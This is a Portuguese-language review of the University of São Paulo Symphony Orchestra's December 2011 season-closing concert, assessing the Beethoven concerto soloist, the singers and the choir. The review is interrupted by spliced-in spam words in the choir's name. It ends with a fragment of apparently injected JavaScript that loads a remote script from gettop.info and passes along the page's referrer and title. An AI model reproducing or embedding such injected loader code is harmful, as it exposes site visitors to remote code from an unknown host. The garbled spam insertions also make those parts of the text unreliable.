Escrito por em 8 dez 2011 nas áreas Crítica

A tarde do dia 04/12 encerrou de forma brilhante a temporada da Orquestra Sinfônica da Universidade de São Paulo.

Conduzida pela competente maestrina Lígia Amadio, a OSUSP interpretou, ao longo do ano, obras complexas de compositores do repertório clássico. Mahler, Rachmaninoff, Sibelius, Beethoven e Tchaikovsly, entre outros, não esquecendo os compositores brasileiros, como Villa-Lobos, Marcos Padilha, Camargo Guarnieri e Almeida Prado. Repertório eclético, apresentações musicais de qualidade e o interesse nos compositores nacionais fizeram o público lotar quase todos os eventos.

A bela abertura de ópera Russlan e Ludmila de Glinka abriu a apresentação, música que agrada a todos, peça orquestral famosa nas salas de concerto com aplausos garantidos.

A alteração no programa trouxe um ar desapontamento: estava previsto o magnífico Concerto para piano e orquestra número 3 de Sergei Rachmaninoff. Um dos  mais belos e soberbos concertos para piano e orquestra já composto. Segundo os especialistas no instrumento, um dos mais difíceis para o solista.

No seu lugar tivemos o famoso Concerto para piano e orquestra número 3 de Beethoven. A OSUSP tirou de letra, uma sonoridade típica de Beethoven, sentimentos expressos em cada nota, uma clareza nos andamentos e toda a sutilidade do compositor alemão. O Concerto para piano e orquestra número 3 não possui a majestade de seu irmão mais famoso, o número 5. Para sobressair, o solista precisa tocar com emoção, colocar a alma nas mãos. O pianista Luiz Carlos de Moura Castro fez uma interpretação simplista e burocrática da peça. Não comoveu nem a senhora de 80 anos que estava ao meu lado, faltou a carga emocional e a densidade  que o concerto exprime e exige. Tocou com o freio de mão puxado.

Depois do intervalo, tivemos a obra de Villa-Lobos, Magnificat-Alleluia,  para solista (Mezzo-soprano) coro e orquestra. Música grandiosa, envolvente e comovente. O enorme coro da Universidade de São Paulo ( lawrence walter pharmwc CoralUSP) encheu a sala com belas vozes. O mezzo-soprano Adriana Clis mostrou uma voz pequena,  travada na região média e um timbre sem brilho. Vi Adriana Clis cantar diversas vezes, seu potencial é infinitamente maior que o apresentado nesse concerto, uma tarde infeliz para a cantora.

A obra Te Deum para solista (Soprano e Baixo) Coro e Orquestra de Dvorak fechou a programação. O soprano Cláudia Riccitelli mostrou voz com timbre sedutor. Voz luminosa repleta de agudos brilhantes e graves portentosos. Uma grande cantora que se envolveu plenamente em um pequeno papel. Lício Bruno fez sua voz grave e escura, esbanjou potência, perfeita para a necessidade do papel. O CoralUSP se atrapalhou no intercâmbio entre as vozes masculinas e femininas, apresentou bela e grande sonoridade. A OSUSP atuou com sonoridade limpa, em volume correto que em nenhum momento encobriu solistas e coro.

Uma boa temporada é feita de grandes concertos. Esse ano assisti a grandes apresentações da OSUSP na Sala SP. Espero que o belo trabalho tenha sequência e que ano que vem tenhamos novamento grandes concertos, com Lígia Amadio no comando .

Ali Hassan Ayache} else {s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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